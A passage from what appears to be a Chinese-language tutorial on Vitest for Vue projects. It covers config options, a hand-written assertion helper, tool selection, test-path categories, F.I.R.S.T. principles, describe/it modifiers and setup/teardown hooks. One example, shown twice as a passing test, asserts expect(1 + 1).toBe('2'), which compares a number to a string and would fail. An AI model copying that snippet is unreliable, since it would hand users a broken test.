./src/scripts/vitest.config.js )：\npackage.json 1 2 3 4 5 6 7 { //... \u0026#34;scripts\u0026#34;: { \u0026#34;test:unit\u0026#34;: \u0026#34;vitest --config ./src/__test__/config/vitest.config.js\u0026#34;, } //... } 接著該檔案就如設定 vitest.config.js 一樣調整就可以了：\n1 2 3 4 5 6 7 8 9 10 11 12 import { defineConfig } from \u0026#39;vite\u0026#39; import vue from \u0026#39;@vitejs/plugin-vue\u0026#39; // https://vitejs.dev/config/ export default defineConfig({ plugins: [ vue(), ], test: { // 在這邊加入設定 }, }) 在專案中的 vite.config.js 中調整測試設定 若想在原先的 vite.config.js 中調整測試設定，有兩種方式可以使用：\n第一種是直接在最上方加入 /// \u0026lt;reference types=\u0026quot;vitest\u0026quot; /\u0026gt; 後，在 test 屬性中加入設定： vite.config.js 1 2 3 4 5 6 7 8 /// \u0026lt;reference types=\u0026#34;vitest\u0026#34; /\u0026gt; import { defineConfig } from \u0026#39;vite\u0026#39; export default defineConfig({ test: { // 在這邊加入設定 }, }) 第二種，把原先的 defineConfig 改由 vitest/config 傳入後，在 test 屬性中加入設定： vite.config.js 1 2 3 4 5 6 7 import { defineConfig } from \u0026#39;vitest/config\u0026#39; export default defineConfig({ test: { // 在這邊加入設定 }, }) 透過 vitest.config.js 檔案調整測試設定 若想區隔開發與測試用的設定時，可以在專案根目錄中新增 vitest.config.js 檔案，這會比原先參考的 vite.config.js 擁有更高的優先權。\n不想將原先在 vite.config.js 設定都重新全寫一次的話，也可以在 vitest.config.js 中，使用 mergeConfig 來融合 vite.config.js 的設定：\n1 2 3 4 5 6 7 8 9 import { mergeConfig } from \u0026#39;vite\u0026#39; import { defineConfig } from \u0026#39;vitest/config\u0026#39; import viteConfig from \u0026#39;./vite.config\u0026#39; // 原先的 vite 設定檔案 export default mergeConfig(viteConfig, defineConfig({ test: { // 在這裡加入測試設定 }, })) Vitest config option 至於 Vitest config 能調整什麼內容呢，這裡列了幾個常見的調整選項：\ninclude exclude globals environment 註：以下部分資料引用 Vitest Config Option 並翻譯與補充。\ninclude Type： string[] 預設值： [\u0026rsquo;**/*.{test,spec}.{js,mjs,cjs,ts,mts,cts,jsx,tsx}'] 藉由這個欄位我們可以提供 glob 格式讓 vitest 去比對哪些是測試檔案，也可以放入多個條件在陣列中。\nvitest.config.js 1 2 3 4 5 6 7 import { defineConfig } from \u0026#39;vitest/config\u0026#39; export default defineConfig({ test: { include: [\u0026#39;**/*.spec.js\u0026#39;], }, }) 這個設定主要會影響到後續我們要如何擺放測試程式碼，因此做規劃時可以按需求考量調整。\nexclude Type： string[] 預設值： [\u0026rsquo;/node_modules/\u0026rsquo;, \u0026lsquo;/dist/\u0026rsquo;, \u0026lsquo;/cypress/\u0026rsquo;, \u0026lsquo;/.{idea,git,cache,output,temp}/\u0026rsquo;] 藉由這個欄位我們可以提供 glob 格式讓 vitest 去排除哪些不是測試檔案，也可以放入多個條件在陣列中。\nvitest.config.js 1 2 3 4 5 6 7 import { defineConfig } from \u0026#39;vitest/config\u0026#39; export default defineConfig({ test: { exclude: [\u0026#39;**/node_modules/**\u0026#39;, \u0026#39;**/dist/**\u0026#39;, \u0026#39;**/cypress/**\u0026#39;, \u0026#39;**/.{idea,git,cache,output,temp}/**\u0026#39;], }, }) 與 include 相反，這次則是要排除哪些路徑不需要尋找是否有測試檔案，其中如果有用到 cypress 做 E2E 測試的話，預設規則中就已經有另外排除了，所以沒必要的話不必特別設置，但可以先記得有這個方便的欄位。\nGlobals Type： boolean 預設值： false 由於在撰寫測試時，Vitest 預設是需要自己按需要引入對應的方法等等，如果要類似像 Jest 以全域的方式注入到測試中，就可以透過在執行時加上 --globals 選項，或是在 vitest config 選項中加入 globals: true。\nvitest.config.js 1 2 3 4 5 6 7 import { defineConfig } from \u0026#39;vitest/config\u0026#39; export default defineConfig({ test: { globals: true, }, }) 原先設定前，測試程式碼需要如下方引入：\n1 2 3 4 5 6 7 import { describe, it, expect } from \u0026#39;vitest\u0026#39; describe(\u0026#39;HelloWorld\u0026#39;, () =\u0026gt; { it(\u0026#39;1 + 1 should be 2\u0026#39;, () =\u0026gt; { expect(1 + 1).toBe(\u0026#39;2\u0026#39;) }) }) 加入 Globals: true 後，就不需要顯示引入 vitest 測試相關的 API，讓測試看起來更乾淨：\n1 2 3 4 5 describe(\u0026#39;HelloWorld\u0026#39;, () =\u0026gt; { it(\u0026#39;1 + 1 should be 2\u0026#39;, () =\u0026gt; { expect(1 + 1).toBe(\u0026#39;2\u0026#39;) }) }) environment Type： \u0026rsquo;node\u0026rsquo; | \u0026lsquo;jsdom\u0026rsquo; | \u0026lsquo;happy-dom\u0026rsquo; | \u0026rsquo;edge-runtime\u0026rsquo; | string 預設值： \u0026rsquo;node\u0026rsquo; 由於 Vitest 本身默認環境 Node.js，因此若要在測試中仿造瀏覽器的應用程式，可以透過類似 jsdom 等工具來取代，而已經介紹過的 npm 指令的寫法之外 -environment jsdom ，還可以在測試檔案上以 docblock 或 comment 風格的方式註記。\nDocblock 風格：\n1 2 3 4 5 6 7 8 9 /** * @vitest-environment jsdom **/ it(\u0026#39;use jsdom in this test file\u0026#39;, () =\u0026gt; { const element = document.createElement(\u0026#39;div\u0026#39;) element.innerHTML = \u0026#39;\u0026lt;p\u0026gt;Hello, HTML!\u0026lt;/p\u0026gt;\u0026#39; expect(element.innerHTML).toBe(\u0026#39;\u0026lt;p\u0026gt;Hello, HTML!\u0026lt;/p\u0026gt;\u0026#39;) }) Comment 風格：\n1 2 3 4 5 6 7 // @vitest-environment jsdom it(\u0026#39;use jsdom in this test file\u0026#39;, () =\u0026gt; { const element = document.createElement(\u0026#39;div\u0026#39;) element.innerHTML = \u0026#39;\u0026lt;p\u0026gt;Hello, HTML!\u0026lt;/p\u0026gt;\u0026#39; expect(element.innerHTML).toBe(\u0026#39;\u0026lt;p\u0026gt;Hello, HTML!\u0026lt;/p\u0026gt;\u0026#39;) }) 寫在 vitest config 中：\n1 2 3 4 5 6 7 import { defineConfig } from \u0026#39;vitest/config\u0026#39; export default defineConfig({ test: { environment: \u0026#39;jsdom\u0026#39;, }, }) 如此一來在測試中我們就可以模擬 Web 端環境來操作了。\n以上是 Vitest 幾個比較常見的設定，其餘的設定後續也會按需求陸續提到，若對於其他設定選項有興趣的，也可以直接到官方文件中的 config 分頁 查看。\n測試的本質 測試的本質究竟是什麼？測試簡單的來說主要就是藉由操控受測物(SUT, System Under Test)，觀察由受測物產生的最終狀態是否如我們所預期的樣子：\n若最終狀態符合我們的預期，對於開發者的含義來說，就是受測物符合了我們的期待。\n但這點好處看似沒有做「測試」的必要，畢竟我們平時開發能驗收完成不就是符合了規格書的期待嗎？\n因此為了能夠更加體會測試背後的價值，我們接下來將實際做一個測試工具來來檢驗我們自己所寫的函式。\n情境舉例 首先，情境假設在專案中有一處邏輯判斷需要檢測傳進來資料的是否為數值(Numeric)，而傳進來的資料可能有 1, null, '100', NaN 等。\n我們希望當 1 和 '100' 時，該判斷應該要為 true，而 null 與 NaN 則是要為 false。\n接下來的目標我們要做的就是：\n製作一個簡易的測試工具 寫測試案例 寫受測程式碼的實作 簡易的測試工具 首先規劃一下工具我最後希望用起來像是這個樣子：\nexpect(受測物).toBe(預期狀態)\n回傳 true 表示測試成功 (即為最終狀態與預期狀態相同) 回傳 false 表示測試失敗 (即為最終狀態與預期狀態不同)，然後加上 error 提示預期狀態應該要是什麼，最終狀態目前是什麼。 接著按照上面的設想，先定義了一個宣告函式 expect，參數則是預計輸入受測物(input)與：\n1 2 3 const expect = (input) =\u0026gt; { // ... } 再來工具本身呼叫時需回傳了一個叫做 toBe 的驗證方法，該驗證方法的參數為預期目標(expected)：\n1 2 3 4 5 6 const expect = (input) =\u0026gt; { const toBe = (expected) =\u0026gt; {} return { toBe } } 接著設計該驗證的方法，使其能夠回應測試的結果：\n1 2 3 4 5 6 const expect = (input) =\u0026gt; { const toBe = (expected) =\u0026gt; input === expected return { toBe } } 現在我們透過網頁瀏覽器的 devtool console 控制台，就可以透過該測試工具做簡易的測試案例了：\n1 2 3 4 5 6 7 8 const expect = (input) =\u0026gt; { const toBe = (expected) =\u0026gt; input === expected return { toBe } } expect(1 === 1).toBe(true) expect(2 !== 1).toBe(true) 但我們希望他能夠在測試案例失敗的時候回應一下當下預期與結果的狀況，後續我們才能針對紀錄的結果做修正。因此我們再修改一下測試方法：\n1 2 3 4 5 6 7 8 9 10 const expect = (input) =\u0026gt; { const handleOnError = (result, expected) =\u0026gt; { console.error(`測試失敗：預期應該為 ${expected}，結果現在為 ${result}`) return false } const toBe = (expected) =\u0026gt; input === expected ? true : handleOnError(input, expected) return { toBe } } 再執行一個故意寫錯的測試案例：\n1 expect(2 === 1).toBe(true) 現在可以看到當測試案例發生錯誤的時候，除了會回傳測試結果之外，還會多個錯誤提醒目前錯誤的原因了！\n寫測試案例 在完成測試工具後，現在我們要來寫測試案例，首先我們先寫一個還沒有寫實作部分的判斷函式(isNumeric)：\n1 const isNumeric = (val) =\u0026gt; {} 接著按照題目所設定的條件，來撰寫測試案例：\n題目設定：\n當 1 和 '100' 時，該判斷應該要為 true，\n而 null 與 NaN 則是要為 false。\n1 2 3 4 5 6 const isNumeric = (val) =\u0026gt; {} expect(isNumeric(1)).toBe(true) expect(isNumeric(\u0026#39;100\u0026#39;)).toBe(true) expect(isNumeric(null)).toBe(false) expect(isNumeric(NaN)).toBe(false) 此時執行後會發現會發現四個案例都報錯，因為目前我們還沒撰寫 isNumeric 的判斷實作，但到這一步測試案例就已經算是寫好了，因為我們的目的是要寫對的測試案例，讓實作去符合。\n寫受測程式碼的實作 完成測試案例後，我們將要來寫測試程式碼的實作部分：\n1 const isNumeric = (value) =\u0026gt; !isNaN(value - parseFloat(value)) 最後，將整個測試與實作合併起來就會像這樣子：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // 測試工具程式碼部分 const expect = (input) =\u0026gt; { const handleOnError = (result, expected) =\u0026gt; { console.error(`測試失敗：預期應該為 ${expected}，結果現在為 ${result}`) return false } const toBe = (expected) =\u0026gt; input === expected ? true : handleOnError(input, expected) return { toBe } } // 實作程式碼部分 const isNumeric = (value) =\u0026gt; !isNaN(value - parseFloat(value)) // 測試案例部分 expect(isNumeric(1)).toBe(true) // true，即為通過測試 expect(isNumeric(\u0026#39;100\u0026#39;)).toBe(true) // true，即為通過測試 expect(isNumeric(null)).toBe(false) // true，即為通過測試 expect(isNumeric(NaN)).toBe(false) // true，即為通過測試 完成！現在已經不會顯示測試失敗的訊息了，也就表示 isNumeric 方法符合我們的預期囉。\n而現在假使我想使實作程式碼的部分更加的完善，只要增加合適的測試案例進去就可以增添受測物本身的信賴與穩定度：\n1 2 3 4 5 6 7 expect(isNumeric(1)).toBe(true) expect(isNumeric(1.123)).toBe(true) expect(isNumeric(0xFFF)).toBe(true) expect(isNumeric(\u0026#39;100\u0026#39;)).toBe(true) expect(isNumeric(undefined)).toBe(false) expect(isNumeric(null)).toBe(false) expect(isNumeric(NaN)).toBe(false) 甚至將來改寫實作(isNumeric)的時候，既有的測試內容就會提醒你是否違反了之前所寫的測試案例。\n測試工具的選擇 上面有提到簡易的測試工具是如何手刻出來的，也稍微談到了手刻測試工具的困難，因此選擇一個適當的測試工具來輔助我們進行測試是有必要性的。\n但測試工具百百種，許多工具在提供的功能上又重疊，那麼我們該如何選擇工具呢？\n若是以「單元測試」來說的話，我們在撰寫測試程式碼時可能至少就會有以下的需求：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 /* 引入相關檔案 */ describe(\u0026#39;測試情境描述\u0026#39;, () =\u0026gt; { it(\u0026#39;測試案例描述\u0026#39;, () =\u0026gt; { const wrapper = mount(component) expect(wrapper.text()).toBe(\u0026#39;Hello, World\u0026#39;) }) it(\u0026#39;另一個測試案例描述\u0026#39;, () =\u0026gt; { const wrapper = mount(component, { props: { content: \u0026#39;Unit-test!\u0026#39; } }) expect(wrapper.text()).toBe(\u0026#39;Unit-test!\u0026#39;) }) }) 測試環境(test runner)：提供上方測試程式碼執行的環境。 測試情境(test suite)：如上方的 describe，用來包裹多個測試案例，以及描述測試情境⋯⋯等功能。 測試案例(test case)：如上方的 it，用來包裹該測試案例的實際情況，若有錯誤時需讓我們能夠輕易找到是哪個案例發生的⋯⋯等等功能。 斷言(Assertion)：如上方的 expect，主要是用來判斷受測物與預期結果是否一致的方法，甚至依據不同判斷方式內部也提供了多種判斷方式，如 .toBe 可用來判斷選取的目標與預期結果是否相等。 除此之外，在必要的情況下甚至會需要：\n測試替身(test double)：用來模仿依賴工具或函式原先的功能狀況 解析或模擬元件容器 模擬瀏覽器中 DOM 的環境 而根據上述需求，就能夠列出一個需求表，來評估各個測試工具是否符合我們測試需要的部分：\n測試工具列表可參考個框架中的測試建議指南，比方 Vue 的測試建議指南\n需求 Vitest Jest Mocha Chai.js Sinon.js Vue-test-utils jsdom 測試環境(test runner) ✔(註1) ✔ ✔ 測試情境(test suite) ✔ ✔ ✔ 測試案例(test case) ✔ ✔ ✔ 斷言(Assertion) ✔ ✔ ✔ 測試替身(test double) ✔ ✔ ✔ 解析或模擬元件容器 ✔ 提供模擬 DOM 環境 ✔ 註1：Vitest 本身基於 Vite 環境，因此專案若非透過 Vite 所構建的話就無法使用。\n現在透過這個表我們可以很清楚的看見，假設專案是基於 Vite 所建立的那麼我可以選擇下列這個組合：\nVitest + Vue-test-utils + jsdom 如果專案是基於 Vue-cli 所建立的，那麼就無法使用了 Vitest 作為測試運行的環境了，此時根據表中我們就可以替換為：\n方案一：Jest + Vue-test-utils + jsdom 方案二：Mocha + Chai.js + Sinon.js + Vue-test-utils + jsdom 而在做工具替換時，需要注意到的是，不同的測試環境(test runner)可能會對於引入(import)檔案時發生解析上的問題，比方若用到 Vue 中的 SFC 類型檔案作為開發，那在 Jest 做為測試環境時我們就需要另外安裝 vue-jest 來做轉換 SFC 上的處理。\n當然，上述的需求表只是一個簡單的範例，而隨著撰寫測試的經驗越多，後續慢慢就會瞭解到專案中會需要哪些測試工具來協助我們進行測試，甚至比較各種測試工具的優缺點從而選出最適合團隊的測試工具！\n現在我們已經了解要如何挑選測試工具了，接下來要開始聊聊撰寫測試案例時應該要如何思考！\n決定測試情境與測試案例 再來談談在選擇這些工具後，我們要如何來思考針對「單元測試」的部分，測試情境與測試案例要怎麼撰寫以及需要注意的地方。\n測試情境(test suite)測試案例(test case) 提供測試環境的工具一般會給予測試情境與測試案例的相關 API，而測試情境與案例最主要的用意是用來幫助我們規劃與整理整個測試邏輯，並且在我們測試案例錯誤的時候同時提供相對應的資訊。\n接下來我們以「貓咪作為元件」為故事主軸來談談單元測試的思路會是怎麼撰寫。\n首先我們假設「貓咪」元件會提供下列功能：\n發出呼嚕嚕叫聲 推倒眼前看到的所有東西 而以使用者角度上來看，我們會對「貓咪」做出這些事情：\n摸摸 餵食 拿玩具逗 接著我們就可以以元件作為情境來定義出各種使用上的測試案例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 describe(\u0026#39;貓咪\u0026#39;, () =\u0026gt; { it(\u0026#39;摸摸，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;餵食，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;拿玩具逗，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;什麼都不做，應該推倒眼前看到的所有東西\u0026#39;, () =\u0026gt; { // ... }) }) 但真實的測試案例不會這麼簡單，總會有一些例外狀況，那麼測試案例應該要包含哪些要素比較好？\n案例路徑(happy path、sad path、bad path) 在設定測試案例時，總會有百百種情況，但是我們不可能每個都寫出來，而根據測試案例的類型主要可以分為三種路徑：\nHappy Path：在我們定義所謂「正常的使用狀況」下，針對「正確的內容」，我們預期應該要做出的反應。 Sad Path：在我們定義所謂「正常的使用狀況」下，針對「錯誤的內容」，我們預期應該要做出的反應。 Bad Path：在我們定義所謂「錯誤」的使用狀況下，我們預期應該要做出的反應。 同樣以貓被摸摸作為例子來看，假設對於貓來說能夠接受摸摸的情況只限於「頭與下巴」，而喜歡被摸的部分只有「下巴」，那麼測試案例路徑就可以這麼定義：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 describe(\u0026#39;貓咪\u0026#39;, () =\u0026gt; { // Happy Path it(\u0026#39;摸摸下巴，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { // ... }) // Sad Path it(\u0026#39;摸摸頭，應該沒反應\u0026#39;, () =\u0026gt; { // ... }) // Bad Path it(\u0026#39;摸摸肚子，應該拋出錯誤\u0026#39;, () =\u0026gt; { // ... }) }) 路徑優先度 而以各個路徑優先度來說，我們應當盡可能的先完善 Happy Path 與 Sad Path 的各種案例，因為對於實際專案上來說，這些內容是我們預期元件或函式本身應提供的內容。\n然而 Bad Path 通常是建立已知哪些情況會是「不正確的使用」，我們只能就已知的狀況來預防。然而，這一部分其實再怎麼縝密，都還是會有極其例外的事情發生：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 describe(\u0026#39;貓咪\u0026#39;, () =\u0026gt; { // ... // Bad Path it(\u0026#39;摸摸肚子，應該拋出錯誤\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;摸摸尾巴，應該拋出錯誤\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;摸摸手，應該拋出錯誤\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;摸摸腳，應該拋出錯誤\u0026#39;, () =\u0026gt; { // ... }) // 舉不完 }) 因此透過測試來作防禦所有不合理的行為是不治本的行為，我應該從受測物本身提供的操作或是產品規劃上來去考量相對治本的方式；比方在「貓咪」元件上透過程式設計的部分，規劃「摸摸」行為只開放「**頭」**與「下巴」的部位，從開發階段就阻止其他開發者誤用「摸摸」方法，到最後真的有其必要特別拋出時才針對這一部分寫 Bad Path 案例。\n最後，再用一個實際一點的例子說明，假設今天有個登入的表單元件，那麼最簡單預期會有的案例就會是：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 describe(\u0026#39;登入元件\u0026#39;, () =\u0026gt; { // Happy Path it(\u0026#39;輸入正確帳號密碼，應登入到ＯＯ頁面\u0026#39;, () =\u0026gt; { // ... }) // Sad Path it(\u0026#39;只輸入帳號，應該顯示請輸入密碼\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;只輸入密碼，應該顯示請輸入帳號\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;輸入錯誤帳號密碼，應該顯示登入資訊錯誤\u0026#39;, () =\u0026gt; { // ... }) }) 以上就是測試情境與測試案例最基本需要瞭解的部分，接著我們來關注於測試案例中內部應該要如何來撰寫。\n撰寫測試程式碼的前言 撰寫測試程式碼需保持的心境 談到撰寫測試，不得不提到 Robert Cecil Martin 有本經典的《無瑕的程式碼：敏捷軟體開發技巧守則》，作者在其中針對了程式碼的部分提了很多優良的建議，不論是撰寫程式碼中的命名、函式參數等等做探討，也在實際的案例中做一些討論與重構，最後回顧那些程式碼中的氣味、清理程式碼，一氣呵成。\n而其中有一個章節最主要就是在講有關「單元測試」的部分，也就是系列文前言提到「被推坑」的部分，我把裡面的概念結合我的經驗來重新闡述一次：\n若帶著單純學習的心態來看待測試程式碼，其實很容易把它當作一項輔助工具在處理，覺得沒有也沒什麼關係，甚至礙手礙腳的，甚至可能覺得還要特地花了不少心力來瞭解它，但這是一體兩面的。\n若你把它當作產品中的一部分就會發現，雖然開發時會受到測試程式碼的「限制」，但同時他其實也是在做「守護」產品程式碼這件事情；甚至因為有了「可信賴的測試」，所以當我們在進行「重構」等等調整時也才能更有信心地去處理。\n因此只要確保我們在適當的時機加入它，那麼它就能夠帶來可觀的後續效益，而既然他能夠替我們帶來效益，那我們對待測試程式碼的態度其實也應該要同理產品程式碼，可是除了讓測試程式碼如同產品程式碼一樣保持「整潔」與「可讀性」之外，我們還有什麼辦法呢？\n對於這個問題 Martin 給了一個撰寫測試碼的優良準則，那就是 F.I.R.S.T 法則。\nF.I.R.S.T 法則 F.I.R.S.T 法則顧名思義其實就是五個英文單字的縮寫，他們分別是：\nFast Independent Repeatable Self-Validating Timely Fast(快) 簡單來說就是快，因為快才能讓我們快速重複大量地檢驗產品程式碼；這意味著我們在測試程式碼中有可能會遇到要 call API 的情況，那麼我們可以將其隔離並立刻回傳我們預定好的資料來減少等待回應的時間。\nIndependent(獨立) 如我們上一篇文章所提到的，每個測試案例應該要互相獨立，彼此不受干擾之外，甚至連執行順序上都不會影響到最終結果。\nRepeatable(可重複) 可重複性主要提的就是不論在什麼設備狀況下，應該都要保持著一致的結果，這樣我們才能排除掉其他不必要的原因，專注在發生問題的程式碼上。\nSelf-Validating(能自我驗證) 測試的最終狀態應該要能夠顯示「通過與否」，而這一部分測試工具或框架都會幫我們處理好，甚至都還有提供額外的 diff 差異讓我們快速查看錯誤的地方。\nTimely(即時) 測試程式碼要盡可能的與產品程式碼同進退，如果測試程式碼落後產品程式碼太多，測試程式碼會越來越難跟上產品程式碼的步調。\n而根據對待測試程式碼心態的優良法則，在撰寫測試程式碼時就能更容易體會到他的魅力。\ndescribe \u0026amp; it 與 輔助 API describe \u0026amp; it 基礎用法 稍早有提到的測試情境與測試案例在 Vitest 工具中主要便是透過 describe 與 it(或 test) 來撰寫，而他們的用意除了規劃測試的脈絡之外，最主要是用來包裝斷言結果的資訊：\n1 2 3 4 5 6 7 8 import {describe, it} from \u0026#39;vitest\u0026#39; describe(\u0026#39;測試情境的描述\u0026#39;, () =\u0026gt; { it(\u0026#39;第一個測試案例的描述\u0026#39;, () =\u0026gt; { const add = (x, y) =\u0026gt; x + y expect(add(1, 2)).toBe(2) }) }) 假設在終端機執行上方的測試程式碼時，依據工具預設設定會在終端機顯示「錯誤的相關資訊」與「綜合結果」。\n錯誤的相關資訊：\nFAIL：發生斷言錯誤檔案路徑 + 情境描述 + 案例描述(視當下錯誤所屬的情境與案例)。 AssertionError：發生斷言錯誤的原因，與發生錯誤的段落。 Expected：預期結果。 Received：實際結果。 綜合結果：\nTest Files：總共測試了幾隻測試檔案，並顯示成功、失敗與跳過的數量。 Tests：總共測了幾個測試案例，並顯示成功、失敗與跳過的數量。 Start：測試開始時間。 Duration：測試過程總共耗費時間。 而除了上述基本用法之外，在同一個測試情境中也能容納數個測試案例。\n1 2 3 4 5 6 7 8 describe(\u0026#39;測試情境的描述\u0026#39; , () =\u0026gt; { it(\u0026#39;第一個測試案例的描述\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;第二個測試案例的描述\u0026#39;, () =\u0026gt; { // ... }) }) 甚至測試情境較為複雜的情況，測試情境(describe)也允許巢狀的方式來建構測試：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 describe(\u0026#39;父層情境\u0026#39;, () =\u0026gt; { describe(\u0026#39;基於父層情境的情境一\u0026#39;, () =\u0026gt; { it(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { // ... }) }) describe(\u0026#39;基於父層情境的情境二\u0026#39;, () =\u0026gt; { it(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;出現提示寄件者姓名與電話將直接註冊成會員\u0026#39;, () =\u0026gt; { // ... }) }) }) 相反地，若在簡單的情境的之下，只有測試案例也是允許的方式之一：\n1 2 3 4 5 6 7 8 9 it(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { // ... }) describe \u0026amp; it 輔助 API 除了上述的基本用法之外，透過 describe 與 it 撰寫測試的過程中也能透過輔助的 API 來整理測試程式碼：\n.only：測試情境、測試案例皆可使用 .skip：測試情境、測試案例皆可使用 .todo：測試情境、測試案例皆可使用 .fails：測試案例才能使用 only 若在測試情境用了此指令，則在同個測試檔案中只會執行帶有 .only 的測試情境，而其餘測試情境底下所有的測試案例將會被跳過(skipped)：\n1 2 3 describe.only(\u0026#39;測試情境 1\u0026#39;, () =\u0026gt; { /* */ }) describe(\u0026#39;測試情境 2\u0026#39;, () =\u0026gt; { /* */ }) // skipped describe(\u0026#39;測試情境 3\u0026#39;, () =\u0026gt; { /* */ }) // skipped 若在測試案例中使用，則除了帶有 .only 之外的測試案例都將會被跳過：\n1 2 3 4 5 6 7 8 9 10 11 describe(\u0026#39;測試情境 1\u0026#39;, () =\u0026gt; { it.only(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { /* */ }) it(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { /* */ }) // skipped }) describe(\u0026#39;測試情境 2\u0026#39;, () =\u0026gt; { it.only(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { /* */ }) it(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { /* */ }) // skipped }) describe(\u0026#39;測試情境 3\u0026#39;, () =\u0026gt; { /* */ }) // skipped skip 測試情境或測試案例被標注時，將自動跳過該範疇內的測試案例：\n1 2 3 4 5 6 7 8 9 describe.skip(\u0026#39;測試情境 1\u0026#39;, () =\u0026gt; { it(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { /* */ }) // skipped it(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { /* */ }) // skipped }) describe(\u0026#39;測試情境 2\u0026#39;, () =\u0026gt; { it(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { /* */ }) it.skip(\u0026#39;測試案例\u0026#39;, () =\u0026gt; { /* */ }) // skipped }) todo 測試情境或測試案例被標注時，同樣將自動跳過該範疇內的測試案例，但 todo 含義比較接近待加入測試的區塊，並且將來若產出報告時也會特別整理出還有哪些地方需要補上測試。\nfails 最後一個介紹的是測試案例才能使用的輔助 API，還記得列測試案例時的 sad path 嗎？當測試案例應該要失敗的時候就可以透過 fails 顯性標註他們：\n1 2 3 4 it.fails(`\u0026#39;1\u0026#39; + \u0026#39;1\u0026#39; should not to be \u0026#39;11\u0026#39;`, () =\u0026gt; { const add = (x, y) =\u0026gt; Number(x) + Number(y) expect(add(\u0026#39;1\u0026#39;, \u0026#39;1\u0026#39;)).toBe(\u0026#39;11\u0026#39;) }) 當然你也可以單純藉由斷言中的 .not 達到同樣的效果：\n1 2 3 4 it(`\u0026#39;1\u0026#39; + \u0026#39;1\u0026#39; should not to be \u0026#39;11\u0026#39;`, () =\u0026gt; { const add = (x, y) =\u0026gt; Number(x) + Number(y) expect(add(\u0026#39;1\u0026#39;, \u0026#39;1\u0026#39;)).not.toBe(\u0026#39;11\u0026#39;) }) 以上便是測試程式碼中測試情境與測試案例的部分，有關於輔助 API 的部分有些內容不一定會使用的到，若想更加瞭解所有可用的部分可以參考 Vitest 測試情境 與 測試案例 的文件囉。\n準備(Setup)與清理(Teardown) 經過了基本的測試情境與測試案例語法，加上簡單的斷言語法 expect().toBe() 就能夠測試許多簡單的東西了，然而在測試過程中有時會遇到大量重複的「前置操作」或是每次測試後「需要清理測試中的環境」，這時我們可以透過 Vitest 提供的 Setup \u0026amp; Teardown API 來處理：\nbeforeEach：在每個測試案例執行前呼叫一次。 beforeAll：在所有測試案例執行前呼叫一次。 afterEach：在每個測試案例執行後呼叫一次。 afterAll：在所有測試案例執行後呼叫一次。 1 2 3 4 beforeEach(() =\u0026gt; { // 針對測試案例重新初始化 initTestEnv() }) Setup \u0026amp; Teardown API 的範疇 Setup \u0026amp; Teardown API 「所有」的定義是根據當下的範疇(context)來決定，除了測試檔案本身之外，使用 describe 來定義測試情境也會形成一個 context，因此假如測試情境有巢狀的情況如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 const history = [] describe(\u0026#39;父層情境\u0026#39;, () =\u0026gt; { beforeAll(() =\u0026gt; { history.push(\u0026#39;beforeAll - 父層情境\u0026#39;) }) beforeEach(() =\u0026gt; { history.push(\u0026#39;beforeEach - 父層情境\u0026#39;) }) afterAll(() =\u0026gt; { history.push(\u0026#39;afterAll - 父層情境\u0026#39;) }) afterEach(() =\u0026gt; { history.push(\u0026#39;afterEach - 父層情境\u0026#39;) }) describe(\u0026#39;子層情境 A\u0026#39;, () =\u0026gt; { beforeAll(() =\u0026gt; { history.push(\u0026#39;beforeAll - 子層情境 A\u0026#39;) }) beforeEach(() =\u0026gt; { history.push(\u0026#39;beforeEach - 子層情境 A\u0026#39;) }) afterAll(() =\u0026gt; { history.push(\u0026#39;afterAll - 子層情境 A\u0026#39;) }) afterEach(() =\u0026gt; { history.push(\u0026#39;afterEach - 子層情境 A\u0026#39;) }) it(\u0026#39;案例 1\u0026#39;, () =\u0026gt; { history.push(\u0026#39;子層情境 A 案例 1\u0026#39;) }) it(\u0026#39;案例 2\u0026#39;, () =\u0026gt; { history.push(\u0026#39;子層情境 A 案例 2\u0026#39;) }) }) describe(\u0026#39;子層情境 B\u0026#39;, () =\u0026gt; { beforeAll(() =\u0026gt; { history.push(\u0026#39;beforeAll - 子層情境 B\u0026#39;) }) beforeEach(() =\u0026gt; { history.push(\u0026#39;beforeEach - 子層情境 B\u0026#39;) }) afterAll(() =\u0026gt; { history.push(\u0026#39;afterAll - 子層情境 B\u0026#39;) }) afterEach(() =\u0026gt; { history.push(\u0026#39;afterEach - 子層情境 B\u0026#39;) }) it(\u0026#39;案例 1\u0026#39;, () =\u0026gt; { history.push(\u0026#39;子層情境 B 案例 1\u0026#39;) }) it(\u0026#39;案例 2\u0026#39;, () =\u0026gt; { history.push(\u0026#39;子層情境 B 案例 2\u0026#39;) }) }) }) 此時將透過 console.log(history) 查看並歸納整理就能得到以下結果：\n1 2 3 